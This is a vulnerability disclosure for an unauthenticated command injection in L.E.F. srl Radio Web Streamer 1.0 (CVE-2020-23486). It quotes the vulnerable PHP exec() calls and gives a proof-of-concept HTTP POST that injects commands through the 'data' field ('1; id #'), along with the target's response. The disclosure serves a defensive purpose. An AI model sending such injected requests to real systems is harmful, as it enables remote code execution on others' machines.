L.E.F. srl – Radio Web Streamer – v1.0 – Unauthenticated Command Injection

Title L.E.F. srl – Radio Web Streamer – v1.0 – Unauthenticated Command Injection
Discovery date 29/05/2020
Release date 25/02/2021
Credits Francesco Marano, Massimiliano Ferraresi
Affected products Radio Web Streamer, version 1.0
Class Parameter Injection, Command Injection, Remote Command Execution

Disclosure timeline

29/05/2020 Request for CVE ID
27/06/2020 Additional info sent to mitre
25/02/2021 CVE-2020-23486 released

Vulnerability details

Unauthenticated Command Injection in L.E.F. srl Radio Web Streamer 1.0 allows an attacker to execute arbitrary command on the target system via specially crafted HTTP POST request.

The /api/logHandler/getLog.php on line 11, 24 and 32 get log content by using the exec() function:

11: exec('tail -'.$num.' /home/user/LF-Controller/fileLogger/app-info.log', $outputController, $retVal);

24: exec('tail -'.$num.' /home/user/LF-AudioAnalyzer/audioAnalyzerLogger/app-info.log', $outputAudioAnalyzer, $retVal);

32: exec('tail -'.$num.' /home/user/LF-StreamPlayer/fileLogger/app-info.log', $outputStreamPlayer, $retVal);

where the $num parameter comes unsanitized from user input:

8: $data = json_decode(file_get_contents("php://input"),1);
9: $num = $data['data'];

A legit HTTP POST request to get just the first line of the logs is:

POST /api/logHandler/getLog.php HTTP/1.1
Host: <target>
Referer: http://<target>/(homeRouter:diagnostic)
Content-Type: application/json; charset=utf-8
Content-Length: 12
Connection: close

{"data":"1"}

Since the user input is not escaped, it is possible for an attacker to concatenate OS commands by using a payload like 1; <command> #. This will result in the execution of the following command:

tail -1; <command> # <log filename>

The tail execution will fails due to missing mandatory parameters, then <command> is executed and the <log filename> part is just commented out.

A malicious HTTP POST request to execute the id command on the target machine is:

POST /api/logHandler/getLog.php HTTP/1.1
Host: <target>
Referer: http://<target>/(homeRouter:diagnostic)
Content-Type: application/json; charset=utf-8
Content-Length: 18

{"data":"1; id #"}

An excerpt of the response from the target will be:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 234

{"LF-Controller":"uid=33 (www-data) gid=33 (www-data) groups=33 (www-data)\r\n","LF-AudioAnalyzer":"uid=33 (www-data) gid=33 (www-data) groups=33 (www-data)\r\n","LF-StreamPlayer":"uid=33 (www-data) gid=33 (www-data) groups=33 (www-data)\r\n",}

Exposing the command output: uid=33 (www-data) gid=33 (www-data) groups=33 (www-data)

Since the /api/logHandler/getLog.php is public accessible, the attacker can run the exploit without the need for any valid user account.